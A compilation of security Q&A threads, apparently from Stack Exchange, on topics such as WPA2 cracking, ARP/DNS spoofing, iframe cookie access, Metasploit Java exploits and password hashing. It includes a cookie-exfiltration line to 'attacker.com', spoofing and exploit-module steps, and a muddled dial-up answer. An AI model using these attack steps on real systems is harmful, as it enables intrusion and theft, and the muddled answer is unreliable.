How can someone sniff dial-up connection using phone line? Let's assume we have a computer that sends packets to the internet using dial-up connection, and we have access to the analog data on the phone line(we have access to the phone line), how can we make a proper sniff for the data that is being transmitted through?

If it is a PSTN line a simple tape recorder attached to the lines could do the trick.
For ISDN I suspect you need a DAC but its also easy, as long as you have physical access to the line.

Any connection using a Telephone line (digital or analogue) is easy to understand for anyone that knows the encoding schema. To realy protect it you should use the same techniques as being used between computers. There we ue an encription layer in between the physical line and the interpretation layer (a.k.a. between the telephone receiver and the physical telephone line)
The current default implementation for this is the TLS Protocol, this encrypts everything but the name of the intended 'destination' (so phone number and name)

Bottom Line, if you want to protect your physical line use a TLS connection.


Bruteforce on 10 characters length WPA2 password I'm trying to hack my own WPA2 network for learning purposes.

I have the *.cap file generated by aircrack-ng tools after a WPA handshake.

I've tested by including my own password and a bunch of incorrect passwords on a wordlist and aircrack-ng crack successfully. My password is 10 characters length, only uppercase letters and numbers, so I tried generating a wordlist with crunch (10 characters length, uppercase and numbers only):

$ crunch 10 10 -f charset.lst ualpha-numeric -o wordlist.txt

But crunch weight estimation was stunning:

Crunch will now generate the following amount of data: 40217742840692736 bytes
38354628411 MB
37455691 GB
36577 TB
35 PB
Crunch will now generate the following number of lines: 3656158440062976

The wordlist is incredibly big. And I generated the wordlist by having clues about the lenght and characters involved. If I didn't know that It'd be even bigger.

I guess I know believe that bruteforce attacks on non trivial passwords is impossible, at least with pre generated wordlists.

Is there a way to let aircrack-ng incrementally crack the password with a given length and charset?

What other sane options do I have to attack my password?

I'd look at OCLHashcat, as it let's you brute force with specific character sets and doesn't need to generate the list beforehand.

I'm not sure what you mean by "incrementally" however, if you mean stopping and starting OHC will let you do that.

In terms of cracking WPA2, you've got 3 options.

Dictionary attacks
Reaver attack against WPS (most successful option in majority of cases)
Taking a wrench to the person and beating their password out of them

Ok, perhaps two options if you're not really wanting that password.

Brute force, unless you know a lot about the password and it's incredibly stupid (i.e. you know for certain it's an 8 character set of numbers) is going to be a non-starter.

Don't forget, strictly speaking there "shouldn't" be a way to break the password, so if none of these options seem viable, it just means you've got decent security. There may not be an answer as to how you can do it.


Is it possible to detect the type of key required when connecting to a wireless network? So I was wondering if I could determine if a wireless network is asking for a specific type of key such as WEP/WPA ect? Or if it just takes the one you give it and processes that?

Yes. Pretty straight forward information provided by each wireless access point.

For instance in Android, this is what this information looks like in Wifi Analyzer:

Only the security types listed for an access point will be accepted.


ARP spoofing + DNS spoofing To make a prank on a friend, and also for educational purposes, I am trying to hack a DNS server in my local network. I am using Windows. I used arpspoof from GitHub.

Can someone please elaborate on how to take the next step on altering the default DNS server on a router? Or is there any source code I can study which includes WinPcap?

I think you misunderstood how such an attack works. You would not alter the default DNS server on the router after ARP spoofing. You could carry out an attack as following:

Become man-in-the-middle with ARP spoofing (this allows you to capture DNS request packets; also don't forward the captured DNS requests, so you don't have to race against the actual DNS server).
Write a program that answers to every captured DNS request packet with a DNS response packet containing an IP address of your choice. (e.g. www.google.com pointing to 10.0.0.24, which is your malicious service). For DNS spoofing on Windows you can use https://github.com/Trackbool/DerpNSpoof.

Also have a look at this: https://medium.com/bugbountywriteup/how-i-pranked-my-friend-using-dns-spoofing-6a65ff01da1


Is it possible to use same certificate on several machines by exporting it? My bank proposes certificate. They say I will be able to use it only on one computer. I don't understand: can't I use same certificate on several machines by exporting and reimporting it ?

Generally speaking, if you can export the private key and import it into another machine then yes you can use it on multiple machines.

This assumes that key is actually exportable, and that the bank isn't doing any other checks that tie the key to a particular computer.


Information leak from chat group. How do we find out which user is sharing information? My friend is part of a business of about 10 people that provide stock and share advice to paying members in a Telegram group.  It's a quite expensive pay monthly group of loyal enough customers who benefit from the group's secrecy and so a leak compromises the success of the group. There are over 200 members in the group currently. Recently a user within the group has been leaking this information to a Discord channel and charging non-members a fee to access to it.

My friend found out who the user was but it appears they have multiple accounts still running and hidden throughout the current 200 users. They appear to be using bots to glean information directly from the group.

How could we catch these information leaks using some kind of trickery and subterfuge such as a canary trap? A canary trap is likely not possible as each user of the group receives the exact same information via the group chat so that option is likely out but there must be some other sneaky way.

The vetting process to enter the group is very strict so once we can identify this user and all associated accounts we should be able to ban them permanently.

Attempting an 'Andropov' (revealing different information to several people and check what got leaked is said to have been a favourite technique of Y. Andropov) on such a group is impractical. Even if you created new different groups and assigned each user to one, leaking different information from the one supplied or skipping a leak etc. are obvious counterstrategies and the truth would be really slow in coming out.

You might try a countersting - subscribe to your own Telegram group with several fake names and, if possible (I don't know Telegram) ask for some information on specific topics, to establish a pattern. Supply this information to yourself. After a while, subscribe to the Discord channel anonymously and offer the unknown manager a lot of money for a different specific information (say, the dirt about Bill Gates). Then see whether someone asks for that information in the Telegram group. This, too, is obvious enough - but sometimes greedy people don't see the obvious.

Checking registration patterns could offer some valuable insights. I guess that whoever did it at a certain point decided to cheat, and that's when he created the additional accounts to keep his finger in - but they aren't probably very many, as they are paying accounts, are they not? You might try following the money. Or the times of payment. Or the date of account creation. Note that you might now have figured out who the fake account is, while the original account of the culprit was opened before it (i.e. your culprit is John Smith, who created a fake account under Joe Small. And you discovered that Joe Small leaked, and killed that account - but John Smith is still onboard).

The best move however would be to change dissemination strategy. Use a series of one-on-one connections, so that you can discriminate what information goes out.


Someone said they have my ip and my internal ip. They threaten to post it on the internet. What should I do? They threatened me with a “I have your up and your internal up. I’m going to send it on the internet unless you do exactly as I say” what should I do? I’m doing what they say but I’m petrified.

They threatened me with a “I have your up and your internal up. I’m going to send it on the internet unless you do exactly as I say” what should I do? I’m doing what they say but I’m petrified.

Ignore them and stop doing what they say!

Your public IP is not secret. Your internal IP is not unique. Ensure your OS is fully patched, and that you don't have any unwanted software installed on your computers. Move on.

There isn't really anything much you can glean from knowing a public IP. Sure, you can do denial of service attacks, but that will lead to you not being able to access the internet for a while, which is probably not too dramatic.


iPhone 5/6 RAM security I'm interested in how the RAM can be exploited in iPhone 5+, iOS 8+.

I've previously discussed general iPhone encryption and from the response
it reads:

  There are many exploits over the years that can give kernel-level code execution on an iOS device, but almost all of them require either unlocked physical access to the device or rebooting, which would clear the AfterFirstUnlock key from memory. The key is not encrypted in RAM, so opening the phone and accessing the RAM chip directly might work, except for the fact that the iPhone uses a package-on-package construction, and the RAM chip would have to be separated physically from the processor first--without destroying the data, so the chip would need power and/or to be frozen the whole time.

The physical security of iPhone RAM seems good, but how about software level exploits of RAM on (a locked) iPhone? What can be found, or why is it unrealistic? Is iPhone RAM well protected?

EDIT: to be specific, the scenario is re-locked iPhone (unlocked once since power up)

The short answer is that it is not easy to exploit iOS RAM via software.

iOS has two memory related security features: (1) Address space layout randomization (ASLR) for protection against memory exploits, and (2) ARM processor's Execute Never (XN) feature, which marks memory pages as non-executable. With ASLR the data won't always be in the same place in the memory - this makes it tough for buffer overflows and its ilk to work reliably.

Also the response you quoted isn't accurate for newer devices. For iPhone 5s and up or any device uses the A7 or above processor has a hardware component called the Secure Enclave that more securely handles keychain operations with features like memory encryption.

Another factor to consider is depending on your application and information sensitivity, there are several other options in addition to AfterFirstUnlock. In theory, you may be able to glean information from the device for apps that store information at the AfterFirstUnlock level. But not from any apps that utilize the WhenUnlock level.

Apple makes a judgement call balancing convenience and security by storing VPN & WiFi passwords with AfterFirstUnlock, but more personal Safari passwords at WhenUnlocked. These seem to be reasonably good guidelines to abide by. In other words even if an exploit were possible on a locked phone the information exposed is still limited.

Having said that the bigger concern these days may be application developers who do not fully understand the implications of different accessibility levels when storing data in the keychain or when utilizing file data protection. If storing something important - make sure to use WhenUnlocked, which requires the phone to be unlocked to access. Some apps even add their own app level passcode to encrypt what they consider critical information as well.

There's a lot more detail in Apple's iOS Security Guide on these items.


How to confirm that an embedded iframe can read cookies from parent? I have this html code that I may put on my site that we are evaluating for security purposes. It's code is essentially this:

<iframe src="https://glenpierce.github.io/" sandbox=
"allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>

My objective is to write something on glenpierce.github.io that will read the cookies of the parent of that iframe and print them to the console to prove that this iframe has access to the parent's cookies if these flags are set. So far, I haven't been able to in Chrome 65 using document.cookie or parent.document.

I am well aware that this is insecure and there are other reasons for not allowing these flags, but I am specifically interested in proving that I have access to the parent's cookies (and/or local storage).

First thing to note is that iframes (by default) don't act like they're part of the same origin, unless they are. If the iframe origin (in the src attribute) and the parent origin differ, the iframe will always be sandboxed from the parent. This imposes a bunch of restrictions, like being just unable to access most properties of the window.parent object.

You can make a same-origin iframe have the same kinds of restrictions as cross-origin iframes[1] by using the sandbox attribute. The values of the sandbox are exceptions to the sandbox attribute, not to the iframe security model in general. Thus, allow-same-origin doesn't make a cross-origin iframe act like it's same-origin to the parent page; it merely lets a same-origin iframe do the same-origin stuff that it could have done if it weren't sandboxed. If the parent and iframe are cross-origin, no amount of allow-same-origin or allow-top-navigation will fix that.

For iframes that are actually same-origin and are either not sandboxed or have the allow-same-origin sandbox attribute value, window.parent.document.cookie will let you set or read (non-HttpOnly) cookies.

One approach that you might expect to work cross-origin is top navigation. Even cross-origin iframes can, if not sandboxed (or if the sandbox has allow-top-navigation), set (but not get) the URL of their parent. You might think this would let you do something like this:
parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"
If that succeeded, it would execute javascript in the context of the parent page, and exfiltrate that page's (non-HttpOnly) cookies.

Fortunately, browser developers are wise to that sort of trick. An iframe (that is allowed top navigation) can point the top page at many things, but a javascript: URI is not one of them.

Allowing untrusted iframes to do top navigation is still dangerous, of course. They may not be able to leverage it to inject script or steal cookies (not without an injection vulnerability, such as an XSS), but they can do things like navigate the user to a look-alike URL that displays the same content but is actually a phishing site, for example.

Of course, that doesn't exfiltrate the cookies, merely reveal that they're readable, but it's a way to exploit allow-top-navigation

[1] And then some; the more extreme restrictions are stricter than the default cross-origin restrictions. This means that sandboxing cross-origin iframes isn't necessarily redundant. For example, cross-origin iframes are by default allowed most forms of top navigation and running scripts that don't try to interact with the window.parent object, but you can block those with sandboxing.


How secure is github's whitelisting CORS domains? The Github API allows you to make requests using CORS [1]. The CORS requests are only allowed by certain whitelisted domains :

  Any domain that is registered as an OAuth Application is accepted.

I observe the following:

The whitelisted listed of domains is completely arbitary. Anyone could setup a github oauth application for any domain. [2], without any sort of domain verification in place. This means things like localhost, dropbox.com are already whitelisted.
The whitelisting loses all sense for a person with a malicious intent, since they can just fake the Origin headers for any app/domain.

The HTML5 Security Guide has the following points on the CORS security: [3]

An attacker could use Javascript with CORS requests to make the attacks appear to originate from the victim. (Point 3 in Universal Allow).
A certain amount of trust is placed on the origin header.

  There is a certain amount of trust placed on the Origin’ header. If the basis of this trust is not fully understood then it is possible to make mistakes. The Origin’ header only indicates that the request is from a particular domain, it does not guarantee this fact. The request could actually be from a Perl script which spoofs the Origin header.

  In  the case of github:

A person needs to only register a domain (or use already whitelisted domains such as dropbox.com) to get their CORS Requests to work. This could still lead to a "pure html" attack scenario above.
All of github's API is already available via JSONP as well [4]. Even unauthenticated, meaning the "pure html" attack could happen in any case.

My question is : Does Github gain anything (from a security point) by whitelisting domains (for API Access) or is it just a misplaced sense of security?

Allowing any domain CORS access to GitHub's API isn't a huge security concern.

GitHub wants full control over who has access to their API.  The first step is that you have to contact GitHub in order to be added to their CORS API whitelist:

  Please contact us to request white listed access for your application.
  We prefer sites that setup OAuth applications for their users.

This allows GitHub to enforce this part of their Terms of Service:

  Abuse or excessively frequent requests to GitHub via the API may
  result in the temporary or permanent suspension of your account’s
  access to the API. GitHub, in its sole discretion, will determine
  abuse or excessive usage of the API. GitHub will make a reasonable
  attempt via email to warn the account owner prior to suspension.

  GitHub reserves the right at any time to modify or discontinue,
  temporarily or permanently, your access to the API (or any part
  thereof) with or without notice.


Malicious self-executing code can only exist in EXIF data in JPEG images? Let's say we got an infected JPEG image that just by viewing it can automatically execute the malicious code stored inside it. It can do this either by taking advantage of the image viewer's security holes using buffer overflow or other techniques. Is the only place to store the code ready for execution, inside the EXIF data segments of a JPEG image?

Assuming that someone uses the EXIFtool or FileMind QuickFix to remove all EXIF metadata. Would this clear the image from the code that could execute when viewing the image, thus removing the threat stored inside ?

PS: The image can be viewed and it is not for example a renamed *.exe file.
We are not infected by another malware that can read using steganography
techniques the code hidden in the images and execute it. We are clean and we just open the image.

EDIT: Case self-executing code can be stuffed inside the actual data of the image apart form EXIF metadata, this code can be detected. If it was encrypted, it would need another malicious program to decrypt it. So how can I detect this code inside the image ?

Not necessarily.

Malicious self-executing code take advantage of bugs affecting the code of some software handling the data. You refer to a bug in the way EXIF has to be processed, but the picture data also has to be handled by the software and the code handling this data might also have bugs which could potentially be exploited.

Removing EXIF data will protect against threats trying to use bugs affecting EXIF data manipulation, but it will not do anything against threats trying to exploit actual picture data handling routines (for this you may imagine an image resizing which would alter the picture data, however you may want to take measures so that the software making this resizing cannot be exploited successfully...).

In all case, such threats can only target very specific versions of software and libraries, since they target a very specific bug they cannot be some kind of "generic exploit" affecting all users opening the image no matter with which software.

Edit: A discussion on this subject can also be found in StackOverflow.


Using a VPN for privacy? Say I am only using a vpn for privacy (as is recommended by many people, especially on public wifi etc). How I understand it is that many people are using the same servers and have the same ip online.

If I am only using a vpn for privacy and somebody else decides to connect to the same server to do something illegal (downloading copyright material, visiting illegal sites, hate speech etc), is that not a concern for me?

I don't want to be linked with any of that stuff but want to use my vpn for my own privacy.

For arguments sake let's say I don't want to pay for a dedicated ip or setup my own vpn and wish to use the servers of a large provider.

Quick review of generally how VPN's work: your computer, which is assigned an IP address by your ISP, connects to a remote VPN server, which has a different IP address assigned to it. The VPN server agrees to send and receive traffic for you, basically acting like a mail forwarder. Normally when you visit a website or check your mail the servers which you connect to will see your IP address as the originator of that traffic. When you're connected to the VPN server and you access a website or check your mail, those remote servers only see the IP address of the VPN server that you're connected through.

Now your question: since I'm connecting to the VPN's server at the same time as other folks, if they happen to do a Bad Thing and the FBI or other Three Letter Acronym Agencies get called in, will I be implicated since my traffic is also coming from this server?

The answer: very unlikely. The FBI/TLA's first line of investigation will be to identify and contact the owner of the IP address (ie: the VPN provider). If the VPN provider keeps logs of who was connecting to what (yikes), then they'll provide that to the FBI/TLA for correlation analysis. If the VPN provider does not keep logs, then that's up to them to fight that legal battle. While there may be public traces out there of you accessing other servers via the VPN (say, while logged in to a bulletin board which also logs your source IP address), that evidence is very circumstantial and is not likely to lead to any legal actionable investigations anytime soon. Legal investigation aside, any security analyst  worth their salt that happens to be looking into an attack and traces it back to a VPN IP will assume that the attacker is using this VPN to mask their identity and will not conclude that every user of that VPN is also malicious.

tl;dr: Using a shared VPN is not likely to lead the police to your door anytime soon.


can I find on which machine was a zipped archive created? I have the following security issue.  A zipped archive of emails was found on a machine (A) by using an undelete program.  The claim made by the subject of the investigation is that they made the archive on another machine (B) to transfer files TO A from B.  Management suspects that the archive was made on A with a view to taking a copy off site.

Is there any way to prove that the archive was or was not created on A?  This is XP Professional.

NTFS can mark files with "zone information" in a hidden stream associated with the file.  If the file was created in a different zone (as defined in IE zones) then it's possible that the IE + windows explorer integration present in windows may be of interest to you.

I'm not sure if 1) that zone information contains information about the source machine, or 2) if that zone information was recovered from your undelete utility

I haven't personally explored this detail of zone information beyond this but would appreciate it if you share your learnings.


How can an attacker redirect victims through proxy Let's say that an attacker is behind a proxy that's using NAT or PAT.

Is it possible for him to redirect victims to his machine to achieve some attacks like web phishing or opening reverse TCP connections?

If the attacker is behind a NAT of some sort, then no it will not be possible to redirect the victim to a service hosted on the attacker host or establish a TCP connection from the victim directly to the attacker host.

Indeed, by default, NAT router only allow outgoing traffic and will block any incoming traffic. The external victim will not be able to contact your machine directly, but you will be able to contact the victim unless it is itself also behind a NAT router (which is the case for most end-user systems).

As the attacker, doing such thing will therefore require to change the NAT router setting to associate a listening port on the router to your own host (this would obviously require to have administration privilege on the NAT router). You could also use an external host as relay to bypass the NAT limitation, but then it would by far be easier to just host the phishing site directly on this external server.


POC of a Java exploit using leftover JREs Summary: I would like to show a proof of concept of a Java exploit using an old JRE on an up-to-date machine to cut short discussions on the "but we are patched so why removing older versions" subject.
(I am not a developer - apologies for possible unfortunate expressions below.)

Details: When patching Java (at least on MS Windows) the JRE us updated to the latest version (there is a single jre folder in <path to Java install>) but the JDK is updated though a new jdk<version> folder, which also contains a JRE.

Oracle allows to choose the version to run in an applet so I would like to show a proof of concept of the style

someone with an up-to-date Java install connects to a web page with the "malicious" applet
something "bad" happens showing that he/she is hacked

I was initially thinking about writing a minimal applet (I will find help on that subject locally) and using Metasploit to run the actual attack - it seems however that the Metasploit payloads are not configurable (in the sense of using java_version to hit an older version of Java)

Note: this is a practical followup of a discussion on detecting Java vulnerabilities on the nessus forum.

You can simply copy your preferred MSF module with a different name and modify the generated HTML embed code to contain the java_version attribute. Usually the generate_html() method contains this data as you can see here for example from line 117:

https://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/browser/java_rhino.rb

You can also create a new configurable parameter if you want, see the Developers Guide for details!

You can also set up an intercepting proxy like MitMproxy in front of Metasploit that would automatically embed/replace the appropriate java_version attribute in the HTTP response generated by MSF, this way you can test many modules with the same setup.


What person should I write a penetration test report as? When you're writing a report, what person do you write it as?

First person singular: I discovered a vulnerability in HP Power Manager...

First person plural: We discovered a vulnerability in HP Power Manager...

Third person singular, by name: Bob discovered a vulnerability in HP Power Manager...

Third person singular, general: The tester discovered a vulnerability in HP Power Manager...

Third person singular, attacker: The attacker discovered a vulnerability in HP Power Manager...

Some other options:

Passive voice: A vulnerability in HP Power Manager was discovered...

Present tense: HP Power Manager is vulnerable to...

It is most common (in the UK at least) to use the passive voice. I prefer using present tense when possible, and first person plural otherwise; the writing feels more personal. But this is controversial; a lot of people think reports are supposed to be formal and not at all personal.


How to prevent CSRF attacks on a REST API when using Windows Authentication I have a Angular web app that interacts with a REST-API. Requests are authenticated with a JWT Bearer token. I now want to add support for Windows-Authentication.

My current plan is to add a POST-Endpoint /token to the REST-API, which accepts Windows-Authentication and returns a JWT. This JWT is then used in JavaScript as a Bearer token to authenticate XHRs to the REST-API.

On first glance, this should prevent CSRF, since it requires two POST-Requests to modify the state of the application. The <form>-based examples of CSRF I found only submit one POST request, and the response is not visible to the attacker.

Is there something I am missing?

This scenario is similar, except that it is using cookies instead of Windows-Authentication.

You need to make sure that your token endpoint has an access control origin policy, otherwise the attacker could request your xsrf token and then use it to modify the state.

As long as you are assigning a token to a request from a secure origin, then validating that token in your post handler, you should be ok.


HSTS behaviour within incognito mode? By definition, incognito mode shouldn't leave a trail of visited websites.

However, HSTS (HTTP Strict Transport Security) requires the browser to keep a database of hosts that have requested HSTS, and honor HSTS for subsequent requests.

This introduces a conflict and there are two possible ways of resolving it:

Browsers always honor HSTS requests made inside an incognito session, even when browsing outside of the incognito session.
Browsers honor HSTS requests made inside an incognito session for that session only.

Which of them is implemented in popular browsers?

Additionally, as discussed in the comments, do HSTS requests outside incognito session affect requests inside incognito session?

using Fiddler and visiting a site with HSTS enabled

honor HSTS in incognito if set previously in non-incognito
(ie, immediately tunnel to HTTPS, do not request HTTP url)

Chrome : YES
Firefox : YES
IE 11 : doesn't seem to honor HSTS

honor HSTS in incognito if previously visited site in incognito only
(ie, immediately tunnel to HTTPS, do not request HTTP url)

Chrome : NO
Firefox : NO
IE 11 : doesn't seem to honor HSTS

looks like IE is meant to support it in IE 12 - http://www.cso.com.au/article/542244/microsoft_confirms_http_strict_transport_security_ie_12/


E-mail already in use exploit I have a registration portal where user inputs his details and then a valid email account.

Currently I check the email is not used already and if it is I reply with the classic: "email already in use" and something like "recover your old password or create a new account with a new email".

I'm wondering how safe it is this behaviour considering I'm giving away the information that the e-mail address which I inserted is actually available.

How can I make it safer? currently I can only think of preventing brute force checks for available addresses but still the problem remains.

The simplest way to defeat this type of attack is to use a notification email instead of an error message. When someone tries to create an account using an email address respond with "Thank you for registering, an email has been sent to this account for confirmation". From then there's 2 cases:

The email is not registered: the email would notify the account holder that a registration attempt has been made using that email address and have links to either confirm the registration, or do nothing and the registration attempt will fail
The email is already registered: the email would notify the user that an attempt has been made to register using the email address, and that an account already exists. Give them options to recover their account if it is a legitimate attempt to access. Tell them to do nothing if it is not legitimate

The benefits to this system is that an attacker won't know whether the email has been used in the account or not, the users are notified if someone is attempting to create an account in their name, and you will be notified if someone is trying to discover account information.


Is it unsafe to have hashes of parts of a private string We have string B and the hashes hash(P+B), hash(P);   is it possible for P to be revealed easier using this information than having hash(P) ?  What is the difference ?
Any links to articles or any kind of information to help me better understand this is really appreciated.

Extra information can only help the attacker; but that extra help might be negligible.

If we model the hash function as a random oracle, then showing h(P+B) for a given non-empty string B does not yield extra information useful for the attacker (I take "+" to mean here string concatenation, not numerical addition). A "random oracle" is (in rough terms) a function such that you know nothing on its output for any given input without trying it. When you have h(x), you can gain information on x only through brute force, i.e. trying out potential values for x until a match is found. Thus, h(P+B) does not give any extra power to the attacker, compared to h(P), and regardless how B was chosen: the attacker still has to try potential P values and hope to get lucky. The best that the attacker can do to optimize things on his side is to choose a strategy that minimizes the computational cost of each try; since common hash functions have a cost that is proportional to the input size, the attacker will prefer to work with h(P) than h(P+B) anyway.

The trouble with the random oracle model is that usual hash functions are not random oracles. However, in the case of Merkle–Damgård hash functions (a category that includes common hash functions such as MD5, SHA-1, SHA-256 and SHA-512), there is a property called "length extension attack": given h(P), it is possible to compute h(P+B) for B values that can be, to a large extent, chosen at will, and you can do that without knowing P (you need to know the length of P, but not its actual value). The length extension attack is usually accounted for as either an harmless curiosity, or a weakness (in most protocols, it is harmless and can be ignored); but, in our case, it has an interesting consequence. Namely, it allows us to show that revealing h(P+B) does not give extra information to the attacker, precisely because the attacker did not need wait for us: he could already compute h(P+B) for a large class of B values.


What's the interest for web proxy over transparent proxy A network I'm working on has only a web proxy (http, https) to communicate outside (mostly used for cache purposes, not whitelist or blacklist support). This requires lot of configuration to all tools to declare proxy, which is quite heavy and restricting in some cases.

I was wondering if a transparent proxy could easier user life, as the existing web proxy has no real advantages in term of security (advanced users configure VPN to go outside and escape proxy restrictions). The only reason I found so far is for logging access to HTTPS website: CONNECT HTTP command requires the requested URL to connect to a SSL website, which cannot be seen if a transparent proxy is used.

The question is: with security in mind, what is the reasons to keep a web proxy over a transparent proxy ?

The web proxy requires explicit configuration, which is good for making life hard for surprise devices and applications that show up on the network.  Yes, you can work around this, but it's one more step.

As well, transparent proxies have to choose between breaking the user experience pretty badly (injecting a redirect in a website for auth, for instance) and efficacy.  An explicit proxy can have rational auth mechanisms that won't ever break the websites you're going to.  They can support SSL without a man-in-the-middle cert (if wanted).  The browser, knowing that there's a proxy, can interact with it in a better way (for instance, doing DNS locally vs via the proxy), and you don't get that in a transparent proxy.


How did Google know I looked something up? Yesterday I was searching DuckDuckGo for booking a vacation. I ended up reading a lot on one specific website. Today multiple websites show me Google banners from this specific website. Normally, I never look up websites for booking a vacation. I use DuckDuckGo on purpose, to prevent these kind of things. My question therefore is: how is this possible?

I'm 100% certain that I didn't accidentally Google something.

The website I was reading was this, if that helps.

Loading that page loads

https://www.googleadservices.com/pagead/conversion.js
https://www.googletagmanager.com/gtm.js?id=GTM-WPPRGM
https://stats.g.doubleclick.net/dc.js

The reason Google can track you is that the website shares details of your visit with them - in this case via loading Google JavaScript code for their ads service.

*To expand on this -

The Google ad code will use a cookie to track you. But even if it didn't there are browser fingerprinting mechanisms which in most cases can correctly identify a user's machine even after a full browser cache / history clear.

When you visit a site with ads a request is made to the ad providers server. This sends the ID associated with you to say "an ad on [x website] for [user y] is available. The ad providers nowadays often then real-time auction off the slot in 1/100th of a second - where potential advertisers computers can bid for the advert space.

The site you visited is djoser. Since djoser knows you looked at products on their site yesterday they know there is a reasonable chance you are considering buying something from them. So when you visit another site somewhere else, the ad slot on that other site is more valuable to djoser, and they bid higher than anyone else - hence why you keep seeing them.


security protocol against attacks on SSL/TLS A client is communicating with a server through https using two-way authentication. I would like to add an extra layer of security.

The protocol would look something like :

An 128-bit symmetric key is stored in a file on the server.
Client connects to the server's IP address using https:// and gets access through his client certificate that is trusted by the server.
Client is shown empty html page with one input box in which he has to type the symmetric key, which is then locally stored as a js variable in the browser.
A verification step is done by sending an AES-encrypted message to the server using the client's symmetric key, which the server then decrypts with his version of the symmetric key. If this is successful, the client is given access to the rest of the html.
All subsequent data that is exchanged by the client and the server is being encrypted/decrypted using the symmetric key for AES-CBC.

Two examples of why this extra layer can provide extra security:

If the attacker gets hold of a certificate that is trusted by the client, and acts as the server. He would not be able to read the messages sent by a client.
If the attacker gets hold of a certificate that is trusted by the server, he/she would still need to type in the symmetric key.

Am I right about the two examples, and secondly, do you see any flaws / attacks that I am unaware of?

P.S. To clarify: the same symmetric key would be used for every session, as it is the one that is fixed and stored on the server. A random IV is used for each AES-CBC encryption, and is sent along with the encrypted message.

Where is the additional security in your scheme? The Client supplies the key to the server (or attacker) so it can just be retrieved by an attacker.

Take a step back and explain what attack you are trying to defend against.
And can you explain how your current setup for TLS does not protect you already for this?

If (and I am guessing your purpose here) I am correct in assuming you want to add validation between client and server. This is achieved through something called Client-side certificates.


Why do I get AV alerts when browsing a web page? I'm using the latest version of Firefox and Windows is up to date. When I was browsing a webpage and clicked a link the browser displayed "connection has been reset" and AVAST poped-up saying "Alert!"

  Infection Details
  URL: http://downloadsave.info/?e
  Process:  C:\Program
  Files (x86)\Mozilla Firefox\f...
  Infection:    JS:MultiPlug-B [Adw]

I mean how can a JavaScript file by itself by malicious?
EDIT: if malware arives at a system by exploiting a vulnerability, if a system has the patch for the vulnerability would the AV alaram still go off?

The AV blocked the script because it was malicious. JavaScript can be used to exploit browser vulnerabilities, or plugin vulnerabilities (e.g. Flash / PDF) and can result in native shellcode being executed on your machine.

However, this doesn't mean it should always alert you to such an issue. A lot of AV software will silently block the script if you already have a patch for it, or if it's not particularly dangerous.

In this case, though, there is a very good reason for the AV to alert you: it is informing you that the site you're visiting may be unsafe. If you think you're actually browsing your bank's website, and your AV pops up warning you about some JavaScript exploit, you're likely to double-check that you are indeed on your bank's website, and not a phishing site.


Reversing Password Hashes If someone got hold of the hashes of all passwords for a website, how do they

get passwords from the hashes? As far as I can tell, everything seems to say do a dictionary attack/brute force attack, but if you did that how could you know that you extracted the password? Wouldn't you still have to test all the passwords by entering them onto the website?

If they reverse one hash, does that mean they can easily reverse all the hashes. E.g. if they manage to brute force a 6 digit password reversing its hash would that mean they could then easily reverse a hash for an 80 digit password?

"Hashes" are one-way, deterministic functions. If you hash a password, you get some value. If you try again to hash the same password, you again get the same value. Therefore, a hash value can serve as a password verification token: to verify a password, just hash it and see if it matches the hash value.

The attacker does just that: he tries passwords until a match is found.

The attack is a more or less efficient process; if the hash function is unsalted, then various optimizations are possible (precomputated tables, parallel attacks...).

More on the subject in this answer.


Can I guarantee non-repudiation with this authentication protocol? I have read that a symmetric key cannot guarantee non-repudiation, but in Mark Stamp's book "Information Security: Principles and practice", he gives this strong mutual authentication protocol:

This protocol uses symmetric key, so my question is: This protocol can guarantee non-repudiation although it uses a symmetric key?

while reading the chapter it wasn't completely clear about this.

Thank you in advance for all your answers.

I think this depends on whether the sender and receiver can both be fully trusted not to reveal or misuse the key.

A secret known by more than one entity is less of a secret.

So to have a guarantee, you would need to fully trust both ends. Which kind of undermines the concept of non-repudiation rather.

I believe that ISO 13888-2 provides some workarounds for the idea of non-repudiation for symmetric key systems, I think it requires trusted 3rd parties to be involved though.

So I think that you can see that non-repudiation is generally rather more robust when using asymmetric keys.


E-Mail made in Germany. Better than traditional ones like Google or Yahoo? A friend of my mine who lives in Germany called my attention to a so called "E-Mail made in Germany" (EMiG). Since the country is well known for exporting high quality products, I decided to take a look at it.

The three main points they list as main features are:

  Encrypted transmission (SSL)
  Data processing in Germany (Compliant to German privacy regulations)
  Visual icon to highlight "EMiG to EMiG" communications, which can obtained via app or MS Outlook plug-in.

Apart from the data processing in Germany, I don't see any difference to world biggest e-mail services out there like Yahoo! or Google, since both offer SSL too.

My friend asked me if he should change his e-mail address (which is currently a GMail) to a "Made in Germany" one. Would it really be much more secure or is it just a marketing thing?

The point to "Made in Germany" isn't about security, but about compliance to German privacy laws, which are unique.

It does not make those services more secure, but simply compliant to a specific set of privacy regulations.


SSL 3.0 master secret prefix In the SSL 3.0 protocol the Master secret (MS) is generated as:

MS = MD5(PMS||SHA(‘A’||PMS||R1||R2))||
 MD5(PMS||SHA(‘BB’||PMS||R1||R2))||
 MD5(PMS||SHA(‘CCC’||PMS||R1||R2))

where || represent the concatenation of values, PMS is the Pre-Master Secret, and Ri are exchanged random values.

Can someone explain the use and need for the ‘A’, ‘BB’ and ‘CCC’ constants in the TLS master secret generation?

Just imagine if these different constants where not there: then the MS would consists of three equal parts and would therefore be much weaker. The value of the constants actually does not matter, but they should be different and be the same in both client and server.

That a concatenation of the results of same basic algorithm but with different constants is done in the first place, is necessary since a single MD5 does not provide sufficient length for the master secret. See also How key materials are generated in SSL V3 from master secret and also have a look at the definition of P_hash in TLS 1.2 which uses a similar construct.


Open email accounts on public computers When I use a public computer at a certain location, logging into the workstation and going to a site like gmail.com (to check my email) I find that another user is already logged in. Same happens for facebook.com and many other sites.

I always log the user out on that website, however am I responsible to do anything else? Do I need to notify someone that this issue is occurring regularly and their accounts could be compromised or is it not my issue?

I assume that you are referring to various different users, rather than one in particular (given that it is a public computer the chances of it being the same person every time is slim), so I would say that you are already doing the right thing.

It could be tempting to go a little further and try to contact the user(s) and let them know what is happening, but their is a fine line between being helpful and crossing over into unauthorised access (to find out their contact details or using their account to send them a message), which depending on your location might be illegal.
Also if someone lacks awareness of the need to logout they may well not understand the advice you try to offer and it could end up being misconstrued and cause you a whole bundle of hassle (I speak from experience!).

